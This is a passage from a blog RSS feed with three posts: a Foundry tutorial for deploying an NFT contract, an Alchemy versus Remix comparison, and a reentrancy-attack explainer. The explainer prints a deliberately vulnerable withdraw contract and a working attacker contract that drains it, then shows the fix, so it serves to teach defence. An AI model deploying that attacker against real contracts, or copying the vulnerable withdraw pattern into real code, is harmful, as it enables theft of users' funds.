<guid isPermaLink="true">https://coderlegion.com/3145/executing-denial-of-service-on-smart-contracts</guid>
<pubDate>Sat, 24 May 2025 04:24:29 +0000</pubDate>
</item>
<item>
<title>Build your own basic NFT Contract on Ethereum</title>
<link>https://coderlegion.com/3129/build-your-own-basic-nft-contract-on-ethereum</link>
<description>&lt;p&gt;&lt;strong&gt;Prerequisites&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Make sure you have MetaMask installed and set up&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Request some Sepolia Testnet ETH from a faucet to work with - Ethereum Sepolia Faucet&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Installing Foundry&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you're on a Mac or are using Linux run this command in your terminal&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -L https://foundry.paradigm.xyz | bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you're on Windows, it is recommended that you install wsl and then use the same command. However, if you don't want to install wsl, you'll have to build it from source. Make sure you have the Rust compiler and cargo on your machine. Check if you do by using this command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rustc --version
cargo --version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once confirmed, use this command&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cargo install --git https://github.com/foundry-rs/foundry --profile local --locked forge cast chisel anvil
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Setting up Foundry&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To build the smart contract, we will use Foundry this time. It is an Ethereum development environment and framework that allows full-stack Ethereum development on your local computer without relying on browser IDEs such as Remix. It also allows for easier debugging, faster iterations, and writing scripts and tests to go along with your contract code.&lt;/p&gt;
&lt;p&gt;To set up a Foundry project, first create a new folder on your computer - we will name ours NFT-Tutorial - and go to it through your Terminal.&lt;/p&gt;
&lt;p&gt;Once your Terminal is inside NFT-Tutorial, setup a Foundry project using the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge init foundry-app
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Installing OpenZeppelin Contracts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;cd into foundry-app and then run the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge install OpenZeppelin/openzeppelin-contracts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will fetch Openzeppelin's contracts repository from GitHub and clone it, enabling us to use it in our code.&lt;/p&gt;
&lt;p&gt;When you do this, Hardhat would have looked at the import statement and understood you're trying to import a Solidity file that is not one part of your own project . It would then fetch it from the node_modules/ folder because it expects you to have installed the npm dependency for it.&lt;/p&gt;
&lt;p&gt;In Foundry, this works a bit differently. Since this is not a Node project and doesn't ship with npm - and instead just git clones the repository you need into the lib folder, imports would normally work something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import {ERC20} from &quot;../lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But this code doesn't look that clean - so we have remappings.&lt;/p&gt;
&lt;p&gt;Remappings are essentially a way to provide an alias to imports - a shorter-way of writing import statements which are aliasing some short-form path to the real path of that dependency.&lt;/p&gt;
&lt;p&gt;To configure them in your project and make sure they're picked up when compiling your code, run the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge remappings &amp;gt; remappings.txt 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will take the remappings it has understood, and write them to a remappings.txt file in foundry-app which acts as a configuration file for all your remappings. You can also customize this and add new ones if you need to.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Writing the NFT Contract&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;With OpenZeppelin Contracts now installed, we can move on to writing our Solidity code.&lt;/p&gt;
&lt;p&gt;Create a new Solidity file - we'll name ours NFTee.sol - inside the src folder of your Foundry project. Write the following code in that file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// Import the openzepplin contracts
import &quot;@openzeppelin/contracts/token/ERC721/ERC721.sol&quot;;

// NFTee is  ERC721 signifies that the contract we are creating imports ERC721 and follows ERC721 contract from openzeppelin
contract NFTee is ERC721 {
    constructor() ERC721(&quot;NFTee&quot;, &quot;ITM&quot;) {
        // mint an NFT to yourself
        _mint(msg.sender, 1);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code is fairly straightforward. We import the ERC-721 contract from OpenZeppelin, and then initialize it during the constructor. We also use the internal _mint function to mint an NFT to ourself.&lt;/p&gt;
&lt;p&gt;To make sure you got the code right check if all the files are compiling. First delete the test folder and then, in your terminal, run &lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge build
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If there are no errors and your contract compiled just fine, you are good to go!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Deploying the Contract&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let's deploy this contract to the Sepolia Test Network. First, create a .env file inside your foundry-dapp folder and add the&lt;/p&gt;
&lt;p&gt;following lines to it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;QUICKNODE_RPC_URL=&quot;...&quot;
PRIVATE_KEY=&quot;...&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Head over to Quicknode and sign up for an account if you haven't already. Quicknode is a node provider that runs blockchain nodes for various networks and gives you access to them so you don't have to run your own. We will use them to deploy our contract through Foundry by connecting Foundry to their node.&lt;/p&gt;
&lt;p&gt;After creating an account at Quicknode, click on Create an Endpoint, select Ethereum and then select the Sepolia network. Finish this process, and then copy the HTTP Provider link you receive. Update your .env file to have that URL as the value for QUICKNODE_RPC_URL.&lt;/p&gt;
&lt;p&gt;Now, for the private key. When you deploy using Remix, Remix just prompts you to deploy the contract through MetaMask since it operates in the browser. However, since we are running Foundry directly on your computer, we need to give it the private key directly.&lt;/p&gt;
&lt;p&gt;To get your private key, you can export it from MetaMask. To do so, open up MetaMask, click on Account Details for the account you want to export, and click on Export Private Key. Copy-paste the value and put it in your .env file as the value for PRIVATE_KEY.&lt;/p&gt;
&lt;p&gt;Now we'll have to load our environment variables into the terminal's environment.  For doing this, run the following command in your terminal&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;source .env
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command just specifies that the source of the variables we're about to enter is the .env file.&lt;/p&gt;
&lt;p&gt;Finally, to deploy your contract, run the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge create --rpc-url $QUICKNODE_RPC_URL --private-key $PRIVATE_KEY src/NFTee.sol:NFTee
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice how variable names are prefixed with $&lt;/p&gt;
&lt;p&gt;This command will output some logs to your console where it will compile your contract and then deploy to the Sepolia Test Network. It will also give you the contract address of the deployed contract.&lt;/p&gt;
&lt;p&gt;Copy the contract address it gives you, and look it up on Sepolia Etherscan - open up the first transaction there and it will show you that a NFT was minted and transfered to your address!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Congratulations!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Awesome! If you got this far, you have probably deployed your first NFT contract to an Ethereum testnet! You also learnt about Foundry and setting it up. &lt;/p&gt;
&lt;p&gt;If you had any trouble, or just want to share your success, message me for help!&lt;/p&gt;
&lt;p&gt;Thanks for reading my post.&lt;br&gt;
Happy coding!&lt;/p&gt;
</description>
<category>Web Dev</category>
<guid isPermaLink="true">https://coderlegion.com/3129/build-your-own-basic-nft-contract-on-ethereum</guid>
<pubDate>Thu, 22 May 2025 20:25:02 +0000</pubDate>
</item>
<item>
<title>Alchemy vs Solidity + Remix: A Comparison for Blockchain Developers</title>
<link>https://coderlegion.com/1216/alchemy-vs-solidity-remix-a-comparison-for-blockchain-developers</link>
<description>&lt;h3 id=&quot;alchemy-vs-solidity-remix&quot;&gt;&lt;strong&gt;Alchemy vs Solidity + Remix&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;When it comes to blockchain development, especially on Ethereum and other EVM-compatible chains, developers have a variety of tools at their disposal. Two popular approaches to building decentralized applications (dApps) and smart contracts are Alchemy and Solidity + Remix. While both are essential in the blockchain ecosystem, they serve different purposes and cater to different stages of development.&lt;/p&gt;
&lt;p&gt;In this article, we’ll compare Alchemy with Solidity + Remix, highlighting their strengths, use cases, and how they complement each other in the development process.&lt;/p&gt;
&lt;h3 id=&quot;what-is-alchemy-&quot;&gt;&lt;strong&gt;What is Alchemy?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Alchemy is a blockchain development platform that provides infrastructure, APIs, and developer tools for interacting with blockchain networks like Ethereum, Polygon, Arbitrum, and others. It abstracts the complexity of managing nodes and provides scalable, reliable access to blockchain data and functionality.&lt;/p&gt;
&lt;p&gt;Key Features of Alchemy:&lt;/p&gt;
&lt;p&gt;Node Management: No need to run your own Ethereum node; Alchemy handles it for you.&lt;/p&gt;
&lt;p&gt;Enhanced APIs: Access real-time blockchain data, monitor transactions, and interact with smart contracts.&lt;/p&gt;
&lt;p&gt;Developer Tools: Includes debugging tools, analytics dashboards, and webhooks for notifications.&lt;/p&gt;
&lt;p&gt;Scalability: Automatically scales to handle high traffic and complex queries.&lt;/p&gt;
&lt;p&gt;Multi-Chain Support: Works across multiple blockchains, including Ethereum, Polygon, Optimism, and more.&lt;/p&gt;
&lt;p&gt;Alchemy is ideal for developers who want to focus on building dApps without worrying about backend infrastructure.&lt;/p&gt;
&lt;h3 id=&quot;what-is-solidity-remix-&quot;&gt;&lt;strong&gt;What is Solidity + Remix?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Solidity is the programming language used to write smart contracts on Ethereum and other EVM-compatible blockchains. Remix is an integrated development environment (IDE) specifically designed for writing, testing, and deploying Solidity smart contracts.&lt;/p&gt;
&lt;p&gt;Key Features of Solidity + Remix:&lt;/p&gt;
&lt;p&gt;Smart Contract Development: Solidity is the go-to language for creating decentralized applications, tokens, and DeFi protocols.&lt;/p&gt;
&lt;p&gt;Remix IDE: A browser-based tool for writing, compiling, and deploying smart contracts. It includes a built-in debugger and test environment.&lt;/p&gt;
&lt;p&gt;No Setup Required: Remix runs in the browser, making it easy to start coding without installing additional software.&lt;/p&gt;
&lt;p&gt;Testing and Debugging: Remix provides tools for unit testing, debugging, and simulating contract interactions.&lt;/p&gt;
&lt;p&gt;Quick Prototyping: Ideal for experimenting with new ideas or learning Solidity.&lt;/p&gt;
&lt;p&gt;Solidity + Remix is perfect for developers who want to quickly prototype and deploy smart contracts without needing extensive infrastructure.&lt;/p&gt;
&lt;h3 id=&quot;alchemy-vs-solidity-remix-key-differences&quot;&gt;&lt;strong&gt;Alchemy vs Solidity + Remix: Key Differences&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;When to Use Alchemy&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Alchemy shines when you’re ready to move beyond local development and build production-ready decentralized applications. Here’s when to use Alchemy:&lt;/p&gt;
&lt;p&gt;Building Scalable dApps:&lt;/p&gt;
&lt;p&gt;If you’re developing a dApp that needs to handle thousands of users or transactions, Alchemy’s infrastructure ensures reliability and performance.&lt;/p&gt;
&lt;p&gt;Monitoring Transactions:&lt;/p&gt;
&lt;p&gt;Alchemy’s APIs allow you to track pending transactions, listen for events, and receive real-time updates via webhooks.&lt;/p&gt;
&lt;p&gt;Interacting with Multiple Blockchains:&lt;/p&gt;
&lt;p&gt;Alchemy supports multiple EVM-compatible chains, making it easy to build cross-chain applications.&lt;/p&gt;
&lt;p&gt;Advanced Analytics:&lt;/p&gt;
&lt;p&gt;Use Alchemy’s dashboard and tools to analyze gas usage, transaction history, and network activity.&lt;/p&gt;
&lt;p&gt;Enterprise Solutions:&lt;/p&gt;
&lt;p&gt;For businesses and enterprises, Alchemy offers premium features like dedicated support and higher rate limits.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;When to Use Solidity + Remix&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Solidity + Remix is ideal for developers who are focused on writing and testing smart contracts. Here’s when to use this combination:&lt;/p&gt;
&lt;p&gt;Learning Solidity:&lt;/p&gt;
&lt;p&gt;Remix is beginner-friendly and doesn’t require any setup, making it perfect for learning Solidity and blockchain basics.&lt;/p&gt;
&lt;p&gt;Prototyping Ideas:&lt;/p&gt;
&lt;p&gt;Quickly test new concepts or experiment with smart contract logic without worrying about deployment costs.&lt;/p&gt;
&lt;p&gt;Debugging Contracts:&lt;/p&gt;
&lt;p&gt;Remix’s built-in debugger helps identify issues in your code during development.&lt;/p&gt;
&lt;p&gt;Deploying Simple Contracts:&lt;/p&gt;
&lt;p&gt;For small projects or educational purposes, Remix allows you to deploy contracts directly to testnets or mainnet.&lt;/p&gt;
&lt;p&gt;No Infrastructure Needed:&lt;/p&gt;
&lt;p&gt;Since Remix runs in the browser, you don’t need to manage nodes or APIs, simplifying the development process.&lt;/p&gt;
&lt;h3 id=&quot;how-alchemy-and-solidity-remix-complement-each-other&quot;&gt;&lt;strong&gt;How Alchemy and Solidity + Remix Complement Each Other&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;While Alchemy and Solidity + Remix serve different purposes, they can work together seamlessly in the blockchain development lifecycle:&lt;/p&gt;
&lt;p&gt;Development Phase:&lt;/p&gt;
&lt;p&gt;Use Remix to write, test, and debug your Solidity smart contracts. This is where you refine your contract logic and ensure it works as intended.&lt;/p&gt;
&lt;p&gt;Deployment Phase:&lt;/p&gt;
&lt;p&gt;Once your contract is ready, deploy it to a testnet or mainnet using Alchemy’s APIs. Alchemy provides reliable access to blockchain networks, ensuring smooth deployment.&lt;/p&gt;
&lt;p&gt;Integration Phase:&lt;/p&gt;
&lt;p&gt;After deployment, use Alchemy’s APIs to integrate your smart contract with a frontend application. Alchemy’s enhanced APIs make it easy to query blockchain data and send transactions.&lt;/p&gt;
&lt;p&gt;Monitoring and Scaling:&lt;/p&gt;
&lt;p&gt;Use Alchemy’s Dashboard and tools to monitor your dApp’s performance, optimize gas usage, and scale as your user base grows.&lt;/p&gt;
&lt;p&gt;Example Workflow: Combining Alchemy and Solidity + Remix&lt;/p&gt;
&lt;p&gt;Here’s how you can combine these tools in a real-world scenario:&lt;/p&gt;
&lt;p&gt;Write and Test Your Smart Contract:&lt;/p&gt;
&lt;p&gt;Use Remix to write and test your Solidity code. Deploy it to a testnet (e.g., Goerli) for initial testing.&lt;/p&gt;
&lt;p&gt;Set Up Alchemy:&lt;/p&gt;
&lt;p&gt;Create an app on Alchemy and obtain your API key. Use this key to connect your frontend application to the blockchain.&lt;/p&gt;
&lt;p&gt;Deploy to Mainnet:&lt;/p&gt;
&lt;p&gt;Use Alchemy’s APIs to deploy your contract to the Ethereum mainnet or another supported chain.&lt;/p&gt;
&lt;p&gt;Build the Frontend:&lt;/p&gt;
&lt;p&gt;Use libraries like Web3.js or Ethers.js to interact with your deployed contract via Alchemy’s infrastructure.&lt;/p&gt;
&lt;p&gt;Monitor and Optimize:&lt;/p&gt;
&lt;p&gt;Use Alchemy Notify to receive alerts for important events, such as pending transactions or contract interactions. Analyze performance using Alchemy’s dashboard.&lt;/p&gt;
&lt;h3 id=&quot;final-thoughts-3&quot;&gt;&lt;strong&gt;Final Thoughts&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Both Alchemy and Solidity + Remix are indispensable tools for blockchain developers, but they serve distinct roles in the development process. Solidity + Remix is perfect for writing, testing, and deploying smart contracts, especially for beginners and small projects. On the other hand, Alchemy excels at providing the infrastructure and APIs needed to build scalable, production-grade decentralized applications.&lt;/p&gt;
&lt;p&gt;By combining these tools, developers can streamline their workflow, from prototyping smart contracts to deploying and monitoring full-scale dApps. Whether you’re just starting out or working on enterprise-level solutions, understanding how to leverage both Alchemy and Solidity + Remix will empower you to build robust, efficient, and innovative blockchain applications.&lt;/p&gt;
&lt;p&gt;So, fire up Remix to write your first smart contract, and when you’re ready to take it live, let Alchemy handle the heavy lifting!&lt;/p&gt;
</description>
<category>Blockchain</category>
<guid isPermaLink="true">https://coderlegion.com/1216/alchemy-vs-solidity-remix-a-comparison-for-blockchain-developers</guid>
<pubDate>Sun, 23 Feb 2025 11:41:15 +0000</pubDate>
</item>
<item>
<title>Smart Contract Bug: Reentrancy Attacks and How to Fix Them</title>
<link>https://coderlegion.com/1162/smart-contract-bug-reentrancy-attacks-and-how-to-fix-them</link>
<description>&lt;h2 id=&quot;reentrancy-attack&quot;&gt;Reentrancy Attack&lt;/h2&gt;
&lt;p&gt;In the world of Web3 and decentralized applications (dApps), smart contracts are the backbone of blockchain functionality. However, they are not immune to vulnerabilities. One of the most notorious and common bugs in smart contracts is the reentrancy attack. This article will explain what a reentrancy attack is, how it can be exploited, and provide a solution to prevent it. Finally, we’ll introduce how Web3Dev, a leading Web3 development agency, can help you build secure and robust decentralized systems.&lt;/p&gt;
&lt;h2 id=&quot;what-is-a-reentrancy-attack-&quot;&gt;What is a Reentrancy Attack?&lt;/h2&gt;
&lt;p&gt;A reentrancy attack occurs when a malicious contract exploits a vulnerability in a target contract to repeatedly call a function before the initial function execution is complete. This is often done during a withdrawal or transfer of funds, allowing the attacker to drain the contract’s balance.&lt;/p&gt;
&lt;p&gt;The most famous example of this vulnerability was the DAO hack in 2016, where an attacker drained over $50 million worth of Ether by exploiting a reentrancy bug.&lt;/p&gt;
&lt;h2 id=&quot;how-does-a-reentrancy-attack-work&quot;&gt;How Does a Reentrancy Attack Work&lt;/h2&gt;
&lt;p&gt;Here’s a simplified example of a vulnerable smart contract:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pragma solidity ^0.8.0;

contract Vulnerable {
    mapping(address =&amp;gt; uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 _amount) public {
        require(balances[msg.sender] &amp;gt;= _amount, &quot;Insufficient balance&quot;);
        (bool success, ) = msg.sender.call{value: _amount}(&quot;&quot;);
        require(success, &quot;Transfer failed&quot;);
        balances[msg.sender] -= _amount;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this contract, the withdraw function sends Ether to the caller before updating their balance. An attacker can exploit this by deploying a malicious contract that recursively calls the withdraw function before the balance is updated. Here’s how:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;contract Attacker {
    Vulnerable public vulnerable;

    constructor(address _vulnerable) {
        vulnerable = Vulnerable(_vulnerable);
    }

    function attack() public payable {
        vulnerable.deposit{value: msg.value}();
        vulnerable.withdraw(msg.value);
    }

    receive() external payable {
        if (address(vulnerable).balance &amp;gt;= msg.value) {
            vulnerable.withdraw(msg.value);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The receive function in the attacker’s contract allows it to repeatedly call the withdraw function, draining the vulnerable contract’s funds.&lt;/p&gt;
&lt;h2 id=&quot;the-fix-use-checks-effects-interactions-pattern&quot;&gt;The Fix: Use Checks-Effects-Interactions Pattern&lt;/h2&gt;
&lt;p&gt;To prevent reentrancy attacks, developers should follow the Checks-Effects-Interactions (CEI) pattern. This means:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Checks: Validate all conditions before executing logic.&lt;/li&gt;
&lt;li&gt;Effects: Update the contract’s state (e.g., balances).&lt;/li&gt;
&lt;li&gt;Interactions: Interact with external contracts or addresses.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Here’s the fixed version of the withdraw function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function withdraw(uint256 _amount) public {
    require(balances[msg.sender] &amp;gt;= _amount, &quot;Insufficient balance&quot;);
    balances[msg.sender] -= _amount; // Update balance first
    (bool success, ) = msg.sender.call{value: _amount}(&quot;&quot;);
    require(success, &quot;Transfer failed&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By updating the balance before sending Ether, the contract ensures that even if the attacker recursively calls the function, their balance will already be zero, preventing further withdrawals.&lt;/p&gt;
&lt;p&gt;At Web3Dev, we specialize in building secure, scalable, and innovative Web3 solutions. Our team of experienced blockchain developers and security experts can help you avoid common pitfalls that can be very costly.&lt;/p&gt;
&lt;h2 id=&quot;additional-security-measures&quot;&gt;Additional Security Measures&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Use Reentrancy Guards: OpenZeppelin’s ReentrancyGuard is a widely-used library that provides a modifier to prevent reentrancy. import &quot;@openzeppelin/contracts/security/ReentrancyGuard.sol&quot;; contract Secure is ReentrancyGuard { function withdraw(uint256 _amount) public nonReentrant { // Safe withdrawal logic } }&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Limit External Calls: Minimize interactions with external contracts or addresses, especially when handling funds.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Audit Your Code: Regularly audit your smart contracts for vulnerabilities using tools like Slither, MythX, or professional auditing services.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;how-web3dev-can-help&quot;&gt;How Web3Dev Can Help&lt;/h2&gt;
&lt;p&gt;At Web3Dev, we specialize in building secure, scalable, and innovative Web3 solutions. Our team of experienced blockchain developers and security experts can help you:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Develop Secure Smart Contracts: We follow best practices and implement robust security measures to protect your dApps from vulnerabilities like reentrancy attacks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Conduct Smart Contract Audits: Our thorough auditing process identifies and fixes potential vulnerabilities before deployment.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Build Custom dApps: From DeFi platforms to NFT marketplaces, we create tailored solutions to meet your business needs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Provide Ongoing Support: We offer maintenance and support services to ensure your dApps remain secure and up-to-date.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Don’t let vulnerabilities compromise your Web3 project. Partner with Web3Dev to build with confidence and security.&lt;/p&gt;
</description>
<category>Blockchain</category>
<guid isPermaLink="true">https://coderlegion.com/1162/smart-contract-bug-reentrancy-attacks-and-how-to-fix-them</guid>
<pubDate>Wed, 19 Feb 2025 22:00:45 +0000</pubDate>
</item>
</channel>
</rss>